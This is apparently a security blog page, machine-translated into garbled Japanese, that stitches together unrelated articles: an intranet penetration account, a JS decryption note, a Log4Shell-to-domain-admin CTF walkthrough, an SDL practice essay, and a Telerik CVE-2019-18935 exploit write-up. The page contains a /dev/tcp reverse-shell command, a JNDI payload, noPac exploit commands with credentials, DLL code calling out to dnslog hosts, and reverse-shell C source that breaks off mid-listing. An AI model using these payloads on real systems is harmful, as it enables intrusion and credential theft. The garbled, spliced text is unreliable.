Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110958

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

序文

攻撃的で防御的なドリル中に、チームは最初にウェブシェルを取得し、次にコバルトストライクへの許可をバウンドして、イントラネットの浸透を促進します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】現在のマシンがパブリックネットワークサーバーであることを発見することにより、パブリックネットワークIP:xxx.xxx.xxx.16のみが

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 ARPキャッシュを表示することにより、現在いくつかのパブリックネットワークマシンがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

これらのIPSを照会することにより、それは「ネットワーク」であることがわかり、NBTSCANを介して、現在のCセグメントには生存するホストがあることがわかります:(現在のCセグメントマシンにはドメインがあると判断されますが、確かではありません)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

内部イントラネットマシンの現在の最初の層のCセグメントを水平に移動

攻撃的で防御的なドリルであるため、ポイントが多いほど良いです。ここでは他の問題を考慮していません。現在のマシンを取得した後、私は平文パスワードをキャッチしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】ただし、このパスワードを使用してMSFを使用してパスワードを介してCセグメントをスプレーすると、ホストが正常に水平になっていないことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

この瞬間、私は再びスキャンしてMS17010があるかどうかを確認しました:(一般的に言えば、この種の「Xiang.com」には基本的にいくつかの永遠の青があるので、スキャンするだけです)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

3つのユニット92、151、および200がMS17010に存在することがわかりました。その後、このユニットを92と呼びます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、MSFとCSがリンクされ、MSFシェルを再度CSにポップし、許可を維持しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

現時点では、これら2つのスプリングボードマシンを使用するだけで十分です。他の2つのMS17010と戦う必要はありません。次に、現在のCセグメントに関する情報を収集し、Webアセットをスキャンして生き残り、多数のWebアセットを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】手動分析により、SQL注入が見つかりました、そしてそれはDBAの許可でした:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、管理者ユーザーが追加されてから3389をオンにしました(Nortonのため、定期的な無料キルのために時間がないので、主にポイントを獲得したので、サーバーに直接ログインしました)

そして、私は靴下を通して直接接続することはできません。これは制限のように感じられます。後で、MSTSC /管理者を使用することでログインすることができることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、私は92このマシンをスプリングボードとして使用して、71デスクトップにリモートでログインしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】管理者のデスクトップがクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、以前に追加されたアカウントにログインして、リモートデスクトップに移動します。管理者のデスクトップです:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一連の情報収集とパスワードコレクションを通じて、MSSQLおよびすべてのサイドステーションの許可を取得しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】収集されたパスワードを介して、セグメントCのパスワードを正常にスプレーし続けます。 MSSQL:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、コマンドを実行するためにXP_CMDSHELLに直接電話して、許可がまだ非常に大きいことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、bitsadminを使用してオンラインでCSに行きます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、これら3つのマシンの許可:16、92、および239は取得されましたが、イントラネットはまだ発見されておらず、この時点でボトルネックに巻き込まれました。

この点に到達した後、私は水平に移動することは不可能であることがわかりました。他のウェブをヒットするために0日を使用したくありません。私は振り向いてMS17010を使用して200人をヒットしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、同様に、シェルがCSにポップされ、ユーザーが追加され、リモートデスクトップグループが追加されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、ログインはログインが失敗したことを発見しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、MSTSC/管理者はバイパスし、ターゲットリモートデスクトップに正常にログインできます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

管理者のデスクトップは同じようにクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 MSTSCログインレコードなど、多くの貴重なものを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 NAVICATデータベース資格情報を取得します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】とXshellには多くのSSHがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

すべてのLinuxホストをログインできます。この時点で、SharpDecryptPWDを使用してパスワードを取得するだけですが、問題が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】このことを使用してパスワードを後で確認する:(これらのものを使用したくなかったので、パスワードを1つずつチェックするのは面倒すぎます)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10個のイントラネットを備えたマシンがいくつかあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

既存のパスワードを使用して、LinuxホストをセグメントCで水平にスプレーします。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、いくつかのシェルをMSFにポップしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】これまでのところ、このパブリックネットワークのCセグメントは基本的に浸透しており、多数のコアデータベース、スイッチ、およびWebサーバーが削除されています。次のステップは、10個のイントラネットのイントラネット浸透です。

イントラネットイントラネット10セグメントの2番目の層からのイントラネット浸透

ルートパスワードを取得したため、10.10.10.1/16のBセクションを直接スキャンしました。資産の大きな波があります。ここではスクリーンショットを撮りません。それらは何百もあり、私はesxiがあることを発見しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

アクセス制御システムを取得しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】は、特別な手段で水平に10個のセグメントの2つのSSHを倒し、イントラネットの3番目の層は192のセグメントとDocker環境であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10セグメントにESXIがあるため、脆弱性を直接使用してESXIクラウドプラットフォームを取得し、すべてのマシンが非難されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、10番目のセクションは基本的に侵入されており、次のステップは192のイントラネットに浸透することです。

イントラネットセグメントの3番目の層からのイントラネット浸透192

通常のFSCANを介して192段落をスキャンしただけで、192の資産も非常に脂肪であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

その後、MS17010の2つの脆弱性が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

今、私たちは関係を整理しました、そして、現在の環境は次のとおりです。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

元のリンク:https://MP.Weixin.QQ.com/s?__biz=mzkxndewmda4mw==mid=2247491421Idx=1Sn=769D715D057112EB4EE1EBB8312E37KKSM241F6051F6055 83F946625F2689EC6214E9D47A61C6639999D2CD2A62C0DE464CENE=123KEY=F3D 6282F44B990E0F2527AF4DB8E088F25F3E43D0ABAF5F845FF52E14965E4FE188C890

つまり、最後の復号化の後、開発チームはあきらめませんでした。数ヶ月後、返品パッケージも暗号化されました。圧縮および難読化されたフロントエンドJS

mt2qoorxxec3257.png

観察によると、最初はサーバーが同じRSA+AES暗号化を実行し、RSA暗号化された後にキーとIVを送信し、AESによってAESによって暗号化されたデータフィールドを送信することも当初考えられています。しかし、私たちにとって、これは実際にシステムへのs辱を増し、システムのセキュリティを減らします。これにより、フロントエンドがRSA+AESを復号化できるため、RSA秘密キーは間違いなくフロントエンドに存在します!

操作を開始1。古いルールでencryptivフィールドを検索し、疑わしい復号化された部分を見つけ、ブレークポイントを押してログインリクエストを送信します

ke1cz1ztqa53258.png

バープはパケットをつかみ、パケットを返し、データフィールドを抽出します

ql5trj32zlb3259.png

ブレークポイントでRSAによって復号化されたAEのキーとIVの値を抽出します

5tkck4galmp3260.png

nとaをフロントエンドのブレークポイントからキーとして、ivをGuigui JSデバッグツールに入れて、復号化を試みます。復号化は成功しているため、このアイデアに問題はありません。つまり、ここでのコードは、サーバーからencryptivとencryptkeyを元のキーとAEのオフセットに復号化します。

wdgotjhmbqp3261.png

2。復号化コードによると、RSA秘密キー(p.D)を見つけ、ディスプレイは不完全です。 Ctrl+Fをコピーして、完全なRSA秘密キーを検索します。

10akwvpqcqf3262.png

jsencrypt.jsスクリプトを使用して、エラーを解読して見つけます。その理由は、元のJSがブラウザのウィンドウとナビゲーターメソッドを呼び出すからです。これら2つは、ブラウザウィンドウ情報とマウスの位置情報を取得して乱数を生成するために使用されます

grr51nyoour3263.png

335cqcgs1vk3264.png

検索を通じて、誰かが最初に元のJSENCRYPTを変更し、ウィンドウとナビゲーターの方法を削除して使用したことがわかりました。投稿アドレス:https://bbs.125.la/forum.php?mod=viewthreadtid=14113049

dbwzpfgekl53265.png

Guigui JSを使用したデバッグ

xymuu5ofvmi3266.png

3.最後のステップは、自動暗号化と復号化スクリプトの書き込みを改善することです。古いルールは、依然としてmitmweb+burpの組み合わせです。ブラウザは最初にげっぷをし、次にPythonスクリプトを実行するためにMITMWEBに二次プロキシを燃やし、次にサーバーに送信します。一般的なアイデアは次のとおりです。

xvnrr3jsubi3268.png

実際、私は90%が完成し、残りの10%が自動化されたスクリプトを書くために書かれていると思いました。その結果、JSの復号化への呼び出しが成功しなかった理由のために、この10%が数日かかりました。その後、それは解決され、一般的に言えば、AESアルゴリズムJS、およびPythonと関係があります。この大きなピットについて詳細に説明することができます。今日この部分をスキップしてください。

最後に、最後のスクリプトで、フロントエンドの復号化をキャンセルするコードとMITMWEBへのコードをキャンセルして、応答を復号化するのに役立ちました。

1049983-20230227143700492-387396060.jpg

デバッグは成功し、げっぷは快適で、プロセス全体が明確でした。

1049983-20230227143701198-922955987.jpg

ちなみに、ハァッ?検証コードハハハでフロントエンドに戻るリスクの高い脆弱性を見つけました。しかし、私は親切です。この暗号化と復号化はしばらく解決されないので、今は金曜日ですので、それを開発と呼び、来週の月曜日に脆弱性を修正しましょう。次回まで特定の新しいコードパーツを離れましょう。この大きなピットを復号化するときは、AESと一緒に話しましょう。

ネットワークトポロジー

1049983-20230224112439293-1629704471.png

情報収集

侵入テストの最初のステップはもちろん情報収集です

IP192.168.81.151を取得し、最初にNMAPを使用して通常のTCPポートをスキャンします。

NMAP -V -PN -T3 -SV -N -ST-OPEN -P 22,1222,222,222345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,500 0,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080,38080. 192.168.81.151

2つのポート22,38080が開いていることがわかりました

1049983-20230224112440302-161893427.png

NMAPを通じて、これはUbuntuであり、22はSSHであり、ポート38080は不明であることがわかります。アクセスしてみましょう。

1049983-20230224112441015-1606254674.png

そこで、最新の新しい脆弱性CVE-2021-44228を試して、dnslogを取得できるかどうかを確認しました

1049983-20230224112441754-989805708.png

CVE-2021-44228の脆弱性が見つかりました。シェルを取得してみてください

CVE-2021-44228利用

VPS Kali(192.168.81.133)でLDAPを最初に有効にします:

git clone 3https://github.com/black9/log4shell_jndiexploit.git

Java -jar jndiexploit -1.2 -snapshot.jar -i 192.168.81.133

1049983-20230224112442401-1799288793.png

その後、Kaliの9999ポートで聞いてください。

1049983-20230224112443129-1120562669.png

リバウンドシェルにはtomcatbypassを使用します

1049983-20230224112443857-1816671400.png

/bin/bash -i /dev/tcp/192.168.210.23/9999 01 -Bounce Shell

リバウンドシェルコマンドには、base64エンコーディングが必要です

1049983-20230224112444657-150046970.jpg

BPパケットキャプチャ、パラメーター送信の投稿への変更、ペイロードの構築

ペイロード=$ {jndi3:ldap3360 //192.168.81.1:1389/tomcatbypass/command/base64/ymfzaCatasa+jiavzgv2l3rjcc8xotiumty4ljgxljezmy85otk5ida+jje+

最後に、EXPを使用してシェルを正常にリバウンドします。 base64エンコードを実行するために2回Encodingを実行する必要があります

1049983-20230224112445349-1880270644.png

1049983-20230224112446035-2093462483.png

私が手に入れたシェルはDockerコンテナであることがわかりました

私は逃げる方法を見つけられず、最終的に/root /ディレクトリでフラグファイルを見つけました。

1049983-20230224112446659-1582184670.png

flag {redteam.lab-1}おめでとうございます、あなたはこの: Saul Saul123を手に入れました

フラグがあり、アカウントのパスワードに似たものがありました

情報収集中、NMAPはターゲットホストにスキャンして22SSHサービスを開きますので、SSHになる可能性のあるアカウントパスワードについて考えてください

イントラネット情報コレクション

前のセクションで取得したアカウントとパスワードを介してUbuntuシステムにログイン

1049983-20230224112447319-361521344.png

現在のマシンには2つのネットワークカードがあり、1つは外部ネットワークをリンクするために使用され、もう1つのENS38がイントラネットの通信に使用されていることがわかります。

1049983-20230224112448090-1276995160.png

実際のイントラネットの浸透:イントラネットの浸透がLinux環境にある場合は、Linuxが完全に構築されているため、すべてのバッシュとPythonizationを形成してみてください。外部ツールにあまり頼らないようにしてください。

したがって、ENS38のCセグメントネットワークをpingするには、for loopを使用します

10.0.1。{1.254}のIの場合ping -c 3 -w 3 $ i /dev /nullの場合は行います。次に、echo $はターゲットを見つけます。 fi;終わり

1049983-20230224112449171-1244750120.png

イントラネットに別のマシン10.0.1.7があることがわかりました

または、スキャン情報ツールを使用して、イントラネット情報を収集します

KaliでPythonを使用してHTTPDをすばやく構築します

在这里插入图片描述

ターゲットマシンのダウンロードツールと付与権限

在这里插入图片描述

イントラネット情報を収集します

在这里插入图片描述

10.0.1.7は生き残ることがわかっており、MS17-010で存在していました

その後、便利なため、FRPを使用して現在のマシンのトラフィックをプロキシすることにしました。

frps.iniを構成します

1049983-20230224112453151-2127359350.png

frpc.iniを構成します

1049983-20230224112453875-703136445.png

次に、Metasploitを使用してSocks5をセットアップして、イントラネットに関する詳細な情報を収集します。

setg Proxies socks5:192.168.81.13:8888setg ReverseAllowProxy true

1049983-20230224112454590-999174959.png

SMBバージョン検出モジュールを使用して、ターゲットをスキャンします。

補助/スキャナー/SMB/SMB_Versionを使用します

1049983-20230224112455381-1095096075.png

ターゲットバージョン10.0.1.7はWindows 7であり、ドメインRedTeamが存在することがわかりました。

Windows7であるため、MS17-010の脆弱性がある可能性があります

MS17-010利用

前のセクションを通じて、10.0.1.7がWin7であることがわかり、その後、検出を実施します。

1049983-20230224112456243-449342750.png

検出を通じて、このマシンにMS17-010の脆弱性があることがわかりました。

ターゲットは、イントラネットが必ずしもネットワークを離れるわけではないため、TCP反射接続を使用できません。フォワードbind_tcpにペイロードするように設定します

1049983-20230224112457059-1616668651.png

1049983-20230224112458087-1589219523.png

win7アクセス許可を直接取得し、mimikatazをロードしてパスワードを取得します

ユーザー名ドメインパスワードルートレッドチームRED12345METERPRETER LOADMIMIKATZロードツール

MeterPreter Creds_Allはクレジットをリストします

コマンドは、メモリからパスワードを取得することであり、射撃範囲の元の状態が一時停止され、復元されることに注意してください。再起動する場合は、Win7に1回ログインする必要があります。

1049983-20230224112459386-400238020.png

この時点で、ドメインユーザーのアカウントを取得しました。

イントラネット武器CVE-2021-42287、CVE-2021-42278

現在のイントラネットに関する情報を収集した後、Win7にはイントラネットネットワークカードもあることがわかりました。

1049983-20230224112500181-544535760.png

1049983-20230224112500885-1700250183.png

ドメインコントロールからドメインコントロールへのIPアドレスは10.0.0.12です

1049983-20230224112501591-641415294.png

2つのドメインの脆弱性が最近公開されているため、CVE-2021-42287およびCVE-2021-42278は、それらを直接搾取しようとします。

特定の原則は、ドメインにドメインコントロール名DCがある場合(ドメインコントロールに対応するマシンユーザーはDC)、攻撃者は脆弱性CVE-2021-42287を使用してマシンユーザーSaulgoodmanを作成し、MachineユーザーのSamacountnameをDCに変更します。次に、DCを使用してTGT請求書を申請します。次に、DC SamacCountNameをSamacCountNameに変更します。現時点では、KDCはドメインにDCとこのユーザーが存在しないことを判断し、DCを自動的に検索します(DCはドメインに既にドメインに既に制御されたDCのSamacCountNameです)。攻撃者は、S4U2Selfに適用したばかりのTGTを使用し、ドメイン内のドメインマネージャーをシミュレートしてドメイン制御DCのSTチケットを要求し、最後にドメインコントローラーDCの権限を取得します。

したがって、MSFを使用してSocks5を追加します

1049983-20230224112502321-1486248533.png

ルートを追加します

Autoroute -S 10.0.0.7/24を実行します

1049983-20230224112503034-1970568292.png

次に、ローカルプロキシを追加するだけです

1049983-20230224112503650-1212863661.png

ツールを使用してアドレスをダウンロードします

https://github.com/wazehell/sam-the-admin

https://github.com/ridter/nopac

https://github.com/waterrr/nopac

次に、スクリプトを使用します

proxychains python3 sam_the_admin.py 'redteam.lab/root:red12345' -dc -ip 10.0.0.12 -shell proxychains python nopac.py redteam.lab/root3:'red12345 '-dc -0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. -use -ldapproxychains python3 exp.py 'redteam/root:red12345' -dc -ip 10.0.0.12 -shell

1049983-20230224112504432-1322113048.png

最後に、私は最終フラグを取得しました。

1049983-20230224112505200-132523298.png

ターゲットマシン環境:リンク: https://pan.baidu.com/s/18pxdc2ff_zdsxonpsug1fyg抽出コード: 8dcyオリジナルリンク: http://WWW.KRYST4L.CN/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-LOG4J2-RCE-%A5%86%8D%E5%88%B0%E5%86歳%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%E3%9E-CVE-2021-42287%

1。序文

一般的に、安全性は運用および保守部門に属します。前の会社の運用およびメンテナンスディレクターと、毎日の安全作業をDevOpsに統合できるかどうかについて話しました。まもなく、私はさまざまな理由で去りました。 5月、彼は2018年にサードパーティの支払い会社に入社し、年の前半にさまざまな検査に費やしました。規制状況は深刻であり、主要な指導者は安全性(主に監督)の重要性を持ち、2019年のすべての部門の目標は安全に関連しています。支払い会社はさまざまな規制機関からの検査に直面する必要があるため、一部のセキュリティは比較的うまく行われています。ほぼ1年の会社に精通した後、アプリケーションのセキュリティが比較的弱いことがわかっています。業界のより良いソリューションのこの部分はSDLです。さまざまなメーカーと通信した後、私は会社で少しずつ宣伝することにしました。

1049983-20230223005505851-1935601238.png

上の写真は、SDLの標準バージョンを示しています。操作とメンテナンスはDevOpsシステムを採用しているため、テストでは機能テストにも自動化を使用します。バージョンの反復サイクルは比較的速く、セキュリティスタッフは不十分であり、SDLの脅威モデリングも混乱しています。プロセス全体に安全が追加された場合、それは配達時間に深刻な影響を与えます。この場合、業界のいくつかの慣行が調査され、SDLを簡素化することを決定しました。 SDLの簡素化されたバージョンは次のとおりです。

1049983-20230223005506900-1241560024.png

2。 Lite SDL実装練習

安全トレーニング

コアSDLの1つはセキュリティトレーニングです。そのため、セキュリティトレーニングの観点から、セキュリティコーディング、セキュリティ認識、セキュリティ知識ベース、セキュリティSDKを行いました。

安全コード:

Javaセキュリティコーディング仕様、製品セキュリティ設計および開発セキュリティの仕様がオンラインで、会社の実際のビジネスと組み合わせて、バージョンをリリースしました。1049983-20230223005507712-1799677019.png

さまざまな規制機関にはトレーニングの要件があるため、安全トレーニングを導入し、開発と新しい従業員の採用のために定期的にトレーニングを受けています。1049983-20230223005508666-156154663.png

安全性認識:

同社は企業のWECHAT公式アカウントを持っており、ほとんどの従業員はそれに従い、公式アカウントで宣伝しています。1049983-20230223005511575-1861001679.png

プロモーションが完了したら、小さな贈り物をください

1049983-20230223005512954-1257222268.png

スタッフが不十分であるため、機能テストと安全性テストは本質的に共通しています。テスト部門も比較的協力的であり、テスター向けの安全性テスト関連トレーニングを実施していますが、効果はあまり理想的ではありません。

1049983-20230223005513820-1671772662.png

安全知識ベース:

脆弱性修復プロセス中、多くの開発は原則と修復ソリューションを理解していないため、セキュリティ知識ベースを確立し、関連するソリューションをチェックするためにセキュリティ知識ベースに進みました。見つからない場合は、セキュリティ担当者と通信し、セキュリティ担当者は常に知識ベースを更新して閉ループを形成します。

1049983-20230223005514543-574197297.png

セキュリティSDK

会社には建築部門があるため、開発フレームワークは基本的に建築部門によって提供されています。アーキテクチャ部門と共通の脆弱性を伝えた後、SDKを使用して建築に脆弱性修復方法を実装させます。開発には、JARパッケージをインポートして構成ファイルに構成する必要があります。また、多くの落とし穴があり、ゆっくりと最適化する必要があります。

1049983-20230223005515341-1061280096.png

3。安全要件設計

会社にはプロジェクト承認システムがあり、すべてのプロジェクトの承認はシステムを通じて確立する必要があります。安全性は必須であり、レビュー会議の安全性も参加する必要があります。

1049983-20230223005516070-1183240391.png

現時点では、プロジェクトマネージャーは基本的にセキュリティ担当者に連絡して通信し、VIP製品の安全設計仕様をコピーし、要件文書とプロジェクトマネージャーに基づいてセキュリティニーズを決定します。

1049983-20230223005518167-302814842.png

セキュリティ要件を確認した後、必要に応じて要件ドキュメントに追加され、セキュリティテスト時間を確認します。このプロセスは、新しいプロジェクト専用です。開始されたプロジェクトの要件は、このプロセスに従うことはありません。その後のセキュリティテストでは、プロジェクトのこの部分がどのように行われるかについて説明します。

1049983-20230223005519575-917103671.png

iv。開発、セキュリティテスト

セキュリティテストは、主にコード監査、脆弱性スキャン、および手動セキュリティテストに分割されています。これから派生した安全製品は、3つのカテゴリに分かれています。 DAST:Dynamic Application Security Test(WVS、AppScan)、SAST:Static Application Security Test(Fortify、RIPS)、IAST:Interactive Application Security Test(Seeker、Lijian)。これら3つの製品の詳細な紹介については、https://www.aqniu.com/learn/46910.htmlを参照してください。以下の図は、3つの製品のテスト結果の比較です。

1049983-20230223005520614-1980739689.png

これらのタイプの製品は自動化でき、DevOpsに継承できます。次に、これらのツールを開発テストフェーズに組み込みます。

IASTには多くの実装モードがあり、一般的なモードにはプロキシモード、VPN、トラフィックミラーリング、計装モードが含まれます。この記事では、2つの最も代表的なモード、プロキシモードと計装モードを紹介します。調査対象の製品の一部は以下の図に示されており、特定のテスト結果は発表されません。

1049983-20230223005521457-454737043.png

開発段階

いくつかの種類の製品を調査すると、Iastの計装モードを開発環境に直接配置できます。開発環境とテスト環境のコードの主な違いは、Application.yml構成ファイルです。そのため、このモードは事前に開発段階に配置できます。

開発がコードの書き込みを完了し、GitLabに送信して開発環境に展開してアプリケーションを開始すると、開発は機能が利用可能かどうかを確認する必要があり、現時点では脆弱性があるかどうかを検出できます。

同社は、テスト環境で牧場主を使用し、Iast JARパッケージをプロジェクトのGitLabに入れ、展開中にコードをローカルに引いて、DockerFileファイルを変更してJARパッケージをコンテナに追加します。

シェル/xxx.jar/home/app/xx/libを追加します

会社のプロジェクトは基本的にSpring-Bootを使用しているため、すべてのプロジェクトはstart.shスクリプトを通じてアプリケーションを開始します。 start.shとdockerfileをプロジェクトのgitlabに追加し、start.shスクリプトファイルを同時に変更する必要があります。

-javaagent: $ app_home/lib/xx.jar -jar $ app_home/app/*。jar - spring.profiles.active=dev $ app_home/logs/startup.log 21

テスト項目は次のとおりで、タイプミスは無視されます。

1049983-20230223005522132-529066295.png

開発および提出コードが展開されたら、通常の機能にアクセスすると、プラットフォームに脆弱性があるかどうかを確認できます。

1049983-20230223005522696-404919098.png

1049983-20230223005523433-204390000.png

1049983-20230223005524107-1209971798.png

一部の製品では、サードパーティのコンポーネントパッケージも検出されます。

1049983-20230223005524868-632493352.png

同社は港を使用して倉庫として画像をミラーリングしています。プロジェクトが展開された後、ミラーにパッケージ化され、港にアップロードされます。ハーバーには、ミラースキャン機能が付属しています。

1049983-20230223005525557-202407059.png

テストフェーズ

開発が完了した後、テスト段階に入ります。この段階では、静的コードスキャン、機能テスト、セキュリティテストを実施します。

静的コードスキャン

Static Code Scanningツールを使用して、コンパイル前にコードをスキャンし、セキュリティの問題を含む静的コードレベルでさまざまな問題を見つけます。いくつかのツールリスト:1049983-20230223005526258-2127755831.png

静的コードスキャンSonarqube統合を使用し、FindBugseCurity、合理化されたルールを使用し、継続的な建設プロセス中に静的コードバグと安全なスキャンを実行します。

1049983-20230223005526910-1086384454.png

静的コードをスキャンしている間、サードパーティの依存関係パッケージもスキャンできます。 OWSAPの依存関係チェックは、連続的な建設プロセスに統合できます。 IASTクラスの製品はこの機能をサポートしているため、紹介しません。

機能テスト

機能テストの観点から、同社のテスト部門は自動テストプラットフォームを実装しています。初期段階では、エージェント検出を使用しませんでした。最初は、オープンソースのGourdscan Plus OpenRaspを使用し、デフォルトのOpenRaspを使用して、非インターセプトモードと脆弱性レコード関数を有効にして、サーバーで返されない脆弱性を検出しました。

自動化プラットフォームでプロキシIPを構成するだけです。

OpenRasp脆弱性レコード

1049983-20230223005842123-671978983.png

その後、テストでは、汚れたデータスキャンが多すぎて効果があまり良くないことが報告されているため、この計画をあきらめました。 IASTの計装方法は開発段階で使用され、テスト環境ではエージェントも使用して、開発環境と同じ方法で問題を検出します。機能テストが完了した後。テスターは脆弱性をあまり理解していないため、指定されたプロセスは、テスターがプラットフォームにアクセスしてレポートとセキュリティ担当者を表示して、どの問題を修正する必要があるかを伝え、テストレポートに問題を記述することです。

安全テスト

テストフェーズ中にセキュリティがプロセス全体に追加されました。すべての要件の変更を完了する必要があり、機能テストが必要です。つまり、すべてのプロセスがセキュリティテストに合格しています。このようにして、セキュリティスタッフはそれほど十分ではありません。内部および外部サービスを区別する方法を使用して、介入するためにセキュリティ担当者が必要かどうかを判断することが決定されます。

1049983-20230223005902448-222221029.png

脆弱性管理

脆弱性管理は脆弱性管理システムを策定し、脆弱性は影響の程度に応じて評価されます。重大な脆弱性を起動する前に修正する必要があります。高、中、低リスクの脆弱性には小さな影響があり、スケジュールする必要があります。セキュリティ担当者は、脆弱性修理の状況を定期的に追跡します。

v。監視

支払い会社には一般的にセキュリティ機器があります。この部分は基本的に、デバイスのsyslogをログセンターに使用して視覚化し、対応するルールをカスタマイズしてアラームを達成します。

vi。結論

個人の知識と経験は、SDLシステムにあまりよく知られておらず、経験がないため、現在のレベルにしか到達できません。将来、プロセスを最適化して追加する場所がたくさんあります。良い提案がある場合は、お気軽にお気軽にお問い合わせください

出典:https://xz.aliyun.com/t/5656

HireHackking
いくつかの抜け穴が最近掘られました。繰り返されていますが、参照値があります。ここであなたと共有させてください。

抜け穴を繰り返すことはまだ非常に不快です。あなたがそれについて考えるとき、人生は決して満足のいくものではありません。抜け穴を繰り返すことは、失敗を意味するものではありません。最初に来てから来ることが重要であり、外観の順序が重要です。
1.特定のサイトRCEは、ドメイン名:https://***。*** :8089/をテストするために私を連れて行ってくれた司祭に感謝しているスコープ著者の司祭に感謝しない理由を無視します。
CVE-2017-11357 CVE-2019-18935 CVE-2017-9248脆弱性が存在します
脆弱性エクスプロイトダウンロードアドレス:
https://github.com/noperator/cve-2019-18935
https://github.com/noperator/cve-2019-18935.git
遅延11S:SLOIP 11S:
テストコード:テスト
#windows.hを含めます
#include stdio.h
bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)
{
if(fdwreason==dll_process_attach)
//スリープ(10000); //数百万秒単位の時間間隔。
睡眠(11000);
trueを返します。
}
test.cはAMD642.dllファイルにコンパイルします
:python CVE -2019-18935.py -v 2017.1.228 -p Payloads \ amd642.dll -u https://**** :8089/telerik.web.ui.webresource.axd?Type=rau


最初のステップは正常に確認することです。成功遅延は約11秒、元のリクエストは2秒です
テストコマンド実行:
#windows.hを含む
#include stdio.h
bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)
{
if(fdwreason==dll_process_attach)
system( 'cmd.exe /c nslookup rsmwe.dnslog.cn');
System( 'cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net');
trueを返します。
} test.c AMD642.dllファイルにコンパイル

もう一度実行してDNSLOG:を表示します

直接リバウンドシェル、一般exp:
#winsock2.hを含む
#include stdio.h
#include windows.h
#pragmaコメント(lib、 'ws2_32')
#define host '{vps ip}'
#define port {port}
wsadata wsadata;
ソケットウィンソック;
ソケットソック;
struct sockaddr_in hax;
char aip_addr [16];
startupinfo ini_processo;
process_information processo_info;
//https://github.com/infoskirmish/window-tools/blob/master/simple%20reverse%20shell/shell.cからの適応
void reverseshell()
{
wsastartup(makeword(2、2)、wsadata);
winsock=wsasocket(af_inet、sock_stream、ipproto_tcp、null、0、0);

struct HOSTENT *host=gethostbyname(host);
strcpy(aip_addr、inet_ntoa( *((struct in_addr *)host-h_addr)));

hax.sin_family=af_inet;
hax.sin_port=htons(port);
hax.sin_addr.s_addr=inet_addr(aip_addr);

wsaconnect(winsock、(sockaddr*)hax、sizeof(hax)、null、null、null、null、null);
if(wsagetlasterror()==0){
memset(ini_processo、0、sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwflags=startf_usestdhandles;
ini_processo.hstdinput=ini_processo.hstdoutput=ini_processo.hstderror=(handle)winsock;
char *myArray [4]={'cm'、 'd.e'、 'x'、 'e'};
charコマンド[8]='';
